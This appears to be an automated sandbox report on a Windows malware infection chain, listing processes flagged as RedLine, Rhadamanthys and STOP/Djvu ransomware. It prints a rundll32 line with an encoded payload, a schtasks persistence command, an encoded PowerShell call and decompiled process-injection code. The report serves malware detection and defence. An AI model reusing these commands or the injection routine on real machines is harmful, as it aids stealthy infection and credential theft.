Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000010.00000003.367401202.000000000D030000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000003.469890360.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000002.479891077.00000000016F2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000010.00000003.369928370.000000000D032000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 43%, ReversingLabs Detection: 39%, Virustotal, Browse
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: 2560.exePID: 3152, Parent PID: 2136

General

Target ID:	17
Start time:	09:42:48
Start date:	25/01/2023
Path:	C:\Users\user\AppData\Local\Temp\2560.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2560.exe
Imagebase:	0x400000
File size:	718848 bytes
MD5 hash:	0A006808F7AA017CAF2DF9CE9E2B55A2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.363362004.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: ngentask.exePID: 816, Parent PID: 5992

General

Target ID:	18
Start time:	09:42:56
Start date:	25/01/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
Imagebase:	0xfc0000
File size:	85096 bytes
MD5 hash:	ED7F195F7121781CC3D380942765B57D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.460489461.000000000343F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000012.00000002.456297712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.460489461.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: fontview.exePID: 4020, Parent PID: 5992

General

Target ID:	19
Start time:	09:42:58
Start date:	25/01/2023
Path:	C:\Windows\SysWOW64\fontview.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SYSWOW64\fontview.exe
Imagebase:	0xa60000
File size:	114176 bytes
MD5 hash:	218D53564FB0DD0CAFBBF871641E70F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000013.00000003.386704960.00000000053B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000013.00000003.387503810.00000000055A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 5980, Parent PID: 4020

General

Target ID:	24
Start time:	09:43:39
Start date:	25/01/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll",PrintUIEntry \|5CQkOhmAAAA\|1TKr5GsMwYD\|67sDqg8OAAl\|xYmwxC0TNSO\|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8\|AtBQPz8FP\|AFoAeQBPAGL7AEEnAEMAaAA3\|wBVAEsAZwBJ\|i0CWUiD7CjoBP8CAABIg8Qow\|\|MzMxMiUQkGP9IiVQkEEiJTPskCF0BSItEJDBvSIkEJIEBOEhvAL8ISMdEJBAtAet9DoEBEEiDwAGPAd0QgQFASDmWAHMl\|p8DiwwkSAPISF+LwUiLTKsBVHsA\|wPRSIvKigmI9wjrwWYFZUiLBPslYPPwM8lIi1D\|GEg70XQ2SIP\|wiBIiwJIO8L\|dCpmg3hIGHX\|GkyLQFBmQYPvOGt0BxERS3UI\|hEQeBAudAVIi78A69VIi0j9AMH+agBAU1VWV0FUv0FVQVZBV10BZv+BOU1aTYv4TP+L8kiL2Q+F\|P7z8ExjSTxBgTz\|CVBFAAAPheq+8\|BBi4QJiPPwhf\|ASI08AQ+E1t5qEYO8CYwtAQ+E\|cfz8ESLZyBEi\|9fHIt3JESLT\|8YTAPhTAPZSP8D8TPJRYXJD\|uEpPPwTYvEQYv\|EEUz0kgD04r\|AoTAdB1BwcrvDQ++wPoAAUQD\|dC\|EXXsQYH6qv\|8DXx0DoPBAf9Jg8AEQTvJc\|9p68aLwQ+3DP9ORYssi0wD6+90WDPtqhB0UUH7ixTBANMzyYoCf0yLwusPwcnIEXsDyOUQAUGKANUQ\|+0zwDP2QTsM+bbgEKYAg8YBg\|j\|CHLu6wpIi8v\|Qf\|VSYkE94P9xeQQxAQ7bxhy\|a9mAUFfQV5BXb9BXF9eXVszF0jvgexgAWQAi+no\|2b+\|\|9IhcAPW4SYdSBMja8BiysQ38gz\|+ibfSCNX\|8ETI1FRjPSi9\|L\|1QkaIAgTIuv4A+Ea3UgRagQM\|fAi9ORIEiJfCT1IKYgcIAgSIvwD\|OES3UgpiBQSI1W\|whEjUdASI2M\|SSFEUiL2Oh8\|a5+II1WSN4gEOIhzPbz8Ohn7yBEiwaN01cIQSCmIFjKIYmEaySAhxLe8\|CLDtogj1iJjCRxEQcwkSDo7THvIIucLTJMi12\|OkiD+2xIiiAw\|0yJZCQ4TIuk7hoyTIlchAGEJNy2hxGGko0RjUdLMIz7JPDz8EmL1Ojp7fwFMIqceDJIjYT+eDJBgPMhjU9s90QwGKQCg+kBdffzgbx4MiFSZXi\|dU2LhCT0IjGU+yT4NQHCSDvYcv84g\|psdjNEjXtJQPoAlEG4AJgAeqYgQMoi+HQZRLYwvsAxSY1UJGyRIEnfg+hs6GuCMEiL\|c6mIHhIhf90Es+LVUJMjjAbMUiN\|0wkQP\|XSIHEAHQhYSQtCC0B
Imagebase:	0x7ff6c5de0000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000018.00000003.635769063.000002275D541000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000018.00000003.517892986.000002275DAB3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000018.00000003.465106371.000002275D66D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000018.00000003.463672074.000002275D472000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000018.00000003.519715452.000002275DCB6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000018.00000003.480168588.000002275D6F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000018.00000003.478098878.000002275D46D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: dllhost.exePID: 4924, Parent PID: 5980

General

Target ID:	25
Start time:	09:44:10
Start date:	25/01/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dllhost.exe
Imagebase:	0x7ff769260000
File size:	20888 bytes
MD5 hash:	2528137C6745C4EADD87817A1909677E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000003.535647654.0000019D88EF0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 3680, Parent PID: 1568

General

Target ID:	32
Start time:	09:44:32
Start date:	25/01/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
Imagebase:	0x8e0000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5080, Parent PID: 3680

General

Target ID:	33
Start time:	09:44:33
Start date:	25/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svcupdater.exePID: 5684, Parent PID: 1080

General

Target ID:	35
Start time:	09:44:46
Start date:	25/01/2023
Path:	C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe
Imagebase:	0x400000
File size:	752246784 bytes
MD5 hash:	A4C9D357EA9C7679D978EB985F61E6C5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Library.exePID: 4500, Parent PID: 4924

General

Target ID:	36
Start time:	09:44:48
Start date:	25/01/2023
Path:	C:\Users\user\AppData\Local\Temp\Library.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Library.exe"
Imagebase:	0xa20000
File size:	3162624 bytes
MD5 hash:	EC5A11FC9A9CB3111AFA460FEC201D3D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 3304, Parent PID: 5980

General

Target ID:	40
Start time:	09:45:01
Start date:	25/01/2023
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 5980 -s 648
Imagebase:	0x7ff679980000
File size:	494488 bytes
MD5 hash:	2AFFE478D86272288BBEF5A00BBEF6A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svcupdater.exePID: 2636, Parent PID: 1080

General

Target ID:	41
Start time:	09:45:10
Start date:	25/01/2023
Path:	C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe
Imagebase:	0x400000
File size:	752246784 bytes
MD5 hash:	A4C9D357EA9C7679D978EB985F61E6C5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 4908, Parent PID: 4500

General

Target ID:	42
Start time:	09:45:36
Start date:	25/01/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAOQAwAA==
Imagebase:	0x7ff665920000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4044, Parent PID: 4908

General

Target ID:	43
Start time:	09:45:36
Start date:	25/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: aw9Ynwqd1x.exePID: 1536, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	12.3%
Signature Coverage:	7.4%
Total number of Nodes:	714
Total number of Limit Nodes:	12

Executed Functions

Function 00401558 Relevance: 10.7, APIs: 7, Instructions: 206
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00401558(intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				struct _EXCEPTION_RECORD _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				intOrPtr _v56;
				long _v60;
				char _v64;
				void* _v68;
				char _v72;
				void* _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* __edi;
				intOrPtr _t87;
				struct _EXCEPTION_RECORD _t90;
				intOrPtr _t91;
				struct _GUID _t97;
				struct _GUID _t99;
				long _t100;
				PVOID* _t121;
				PVOID* _t123;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t183;
				intOrPtr* _t184;
				HANDLE* _t185;
				HANDLE* _t186;
				intOrPtr _t199;
				void* _t200;
				intOrPtr* _t201;
				void* _t205;

				_push(0x387);
				_t201 = _t200 + 4;
				_push(0x83);
				L004011F5(_t175, _t205);
				_t127 = _a4;
				_t176 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				_v96 = _t87;
				_t183 =  &_v100;
				 *_t183 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t183);
				_t90 =  *_t183;
				if(_t90 != 0) {
					_t132 =  &_v52;
					 *_t132 = _t90;
					 *(_t132 + 4) = _t176;
					_t184 =  &_v44;
					 *((intOrPtr*)(_t127 + 0x10))(_t184, 0x18);
					 *_t184 = 0x18;
					_push( &_v52);
					_push(_t184);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t176, _t176, 2) == 0) {
						_v12 = _t176;
						_t97 =  &_v84;
						 *(_t97 + 4) = _t176;
						 *_t97 = 0x5000;
						_t185 =  &_v88;
						if(NtCreateSection(_t185, 6, _t176, _t97, 4, 0x8000000, _t176) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t121 =  &_v72;
							 *_t121 = _t176;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t121, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
								_t123 =  &_v64;
								 *_t123 = _t176;
								if(NtMapViewOfSection( *_t185, _v16, _t123, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
									_t199 = _v72;
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t199, 0x104);
									 *((intOrPtr*)(_t199 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t99 =  &_v84;
						 *(_t99 + 4) = _t176;
						 *_t99 = _a12 + 0x10000;
						_t186 =  &_v92;
						_t100 = NtCreateSection(_t186, 0xe, _t176, _t99, 0x40, 0x8000000, _t176);
						if (_t100 != 0) goto L67;
						 *_t100 =  *_t100 + _t100;
					}
				}
				_push(0x15a4);
				_t91 =  *_t201;
				_push(0x83);
				L004011F5(_t176, _t226);
				return _t91;
			}

0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164b
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction ID: 4afb5ad6e9f78dbb0f0fc4dd380045413720c66cee1019041566b0107d6eeca4
Opcode Fuzzy Hash: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction Fuzzy Hash: 2F615E71900208FBEB209F91CC49FAF7BB8EF85B14F10412AF912BA1E5D6749901DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00401564 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401564(void* __eax, void* __edx, void* __esi) {
				intOrPtr _t89;
				struct _EXCEPTION_RECORD _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t129;
				struct _EXCEPTION_RECORD* _t135;
				void* _t179;
				struct _EXCEPTION_RECORD _t180;
				struct _EXCEPTION_RECORD* _t190;
				intOrPtr* _t192;
				HANDLE* _t193;
				HANDLE* _t194;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				void* _t216;

				_t216 = __eax + 0x15a4b8;
				_push(0x387);
				_t211 = _t210 + 4;
				_push(0x83);
				L004011F5(_t179, _t216);
				_t129 =  *((intOrPtr*)(_t208 + 8));
				_t180 = 0;
				 *((intOrPtr*)(_t208 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t208 - 0x34)) =  *((intOrPtr*)(_t208 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t89;
				_t190 = _t208 - 0x60;
				 *_t190 = _t180;
				 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t190);
				_t92 =  *_t190;
				if(_t92 != 0) {
					_t135 = _t208 - 0x30;
					 *_t135 = _t92;
					 *(_t135 + 4) = _t180;
					_t192 = _t208 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t192, 0x18);
					 *_t192 = 0x18;
					_push(_t208 - 0x30);
					_push(_t192);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t180, _t180, 2) == 0) {
						 *(_t208 - 8) = _t180;
						_t99 = _t208 - 0x50;
						 *(_t99 + 4) = _t180;
						 *_t99 = 0x5000;
						_t193 = _t208 - 0x54;
						if(NtCreateSection(_t193, 6, _t180, _t99, 4, 0x8000000, _t180) == 0) {
							 *_t25 =  *(_t208 - 0x50);
							_t123 = _t208 - 0x44;
							 *_t123 = _t180;
							if(NtMapViewOfSection( *_t193, 0xffffffff, _t123, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
								_t125 = _t208 - 0x3c;
								 *_t125 = _t180;
								if(NtMapViewOfSection( *_t193,  *(_t208 - 0xc), _t125, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
									_t207 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t180, _t207, 0x104);
									 *((intOrPtr*)(_t207 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t180;
						 *_t101 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t194 = _t208 - 0x58;
						_t102 = NtCreateSection(_t194, 0xe, _t180, _t101, 0x40, 0x8000000, _t180);
						if (_t102 != 0) goto L66;
						 *_t102 =  *_t102 + _t102;
					}
				}
				_push(0x15a4);
				_t93 =  *_t211;
				_push(0x83);
				L004011F5(_t180, _t237);
				return _t93;
			}

0x00401566
0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.290105306.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_aw9Ynwqd1x.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction ID: 3c61d4fa49215657d74707620d36eaa57d50516e3f831c539a14d6838cb40392
Opcode Fuzzy Hash: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction Fuzzy Hash: 23513CB1900249FBEB209F91CC49FAF7BB8EF85710F14412AF911BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00401577() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				intOrPtr* _t205;
				void* _t210;

				asm("repe push 0x387");
				_push(0x387);
				_t205 = _t204 + 4;
				_push(0x83);
				L004011F5(_t175, _t210);
				_t126 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
